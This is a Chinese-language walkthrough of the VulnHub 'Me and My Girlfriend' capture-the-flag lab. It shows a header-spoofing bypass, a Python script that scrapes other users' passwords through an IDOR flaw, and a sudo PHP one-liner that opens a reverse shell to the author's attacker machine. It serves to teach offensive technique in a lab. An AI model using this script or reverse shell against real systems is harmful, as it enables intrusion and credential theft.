vulnhub靶機實戰

1.靶機地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

2.先看描述(要求)

  • 通過這個我們可以知道我們需要找到alice隱藏的“東西”,說不定就是flag噢!!
  • 這是一個初級難度,我們的目標是拿到2個flag,在哪呢???自己找

3.主機,埠發現

在vmware或者vitrualbox中匯入靶機並啟動,會自動獲取ip地址,頁面如下

我們先看下當前網路內的存活主機都有哪些:

因為我的內網裡面虛擬機器開的比較多,所以不好分辨哪臺是靶機,這種情況的話你可以通過mac地址去匹配對應的ip地址,如上

靶機mac地址檢視在虛擬機器——〉右鍵設定——〉網路介面卡——〉高階

然後掃描靶機開放了哪些埠

我們可以看到開啟了80埠和22埠,每個埠對應著開啟的服務如下:

參考連結:https://blog.csdn.net/wangye1989_0226/article/details/72961400

埠號 服務
80 http 用於全球資訊網(WWW)服務的超文字傳輸協議(HTTP)
22 ssh 安全 Shell(SSH)服務

開啟了80埠說明開啟了http服務,訪問地址檢視web服務

果不其然,發現請求被拒絕,提示我們只能通過本地去訪問,我們檢視原始碼發現讓我們使用x-forwarded-for

我們抓包加入x-forwarded-for:127.0.0.1成功訪問

GET / HTTP/1.1
Host: 192.168.33.65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1

我們發現有註冊登入框(注意後面每一個頁面請求都需要加上本地訪問噢!),我們註冊一個賬戶並登陸發現有一個profile頁面後面接了一個user_id的引數,頁面直接顯示出我們的使用者名稱密碼出來。

我們嘗試修改user_id=1,發現顯示了別人的資訊,不妨寫個指令碼爆破一下所有的使用者名稱密碼瞅瞅

python指令碼:(python學的不精,大家可以參考參考自行寫指令碼爆破!)

import re
import requests if __name__ == '__main__':
for user_id in range(1,13):
burp0_url = f"http://192.168.33.65:80/index.php?page=profile&user_id={user_id}"
burp0_cookies = {"PHPSESSID": "ft21h9vkiehflhkv1qfago3c75"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "x-forwarded-for": "127.0.0.1",
"Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
username = re.findall(r'<input type="text" name="username" id="username" value="(.*?)">',r)
passwd = re.findall(r'<input type="password" name="password" id="password" value="(.*?)">',r) if username[0]:
print(username[0] + ":" + passwd[0])

還記得我們的描述嗎?不記得就回去看看吧!我們發現了alice的賬戶密碼,還記得上面開啟了22埠嗎?所以我們可以ssh連線上alice的賬戶。進去就是一頓ls,發現啥也沒有,通過ls -al發現了什麼,.my_secret,居然有祕密資料夾,開啟看看

成功發現了第一個flag,還記得我們總共有兩個flag,看到上面提示需要我們通過root許可權獲得另一個flag。

4.反彈shell提權

首先檢視自己可以以root許可權執行什麼命令,發現自己是可以以root許可權執行php命令的,而php又是可以執行本地命令的,所以就相當於alice可以執行root命令。

反彈shell:

  1. 首先在kali上面監聽10086埠

    nc -lvp 10086
  2. 然後靶機上的alice建立一個php反彈shell去連線它

    sudo /usr/bin/php -r '$sock=fsockopen("192.168.33.136",10086);exec("/bin/bash -i <&3 >&3 2>&3");'

    返回kali這邊已經登入進root了,進去之後照例一頓亂瞅,成功獲得第二個flag!!!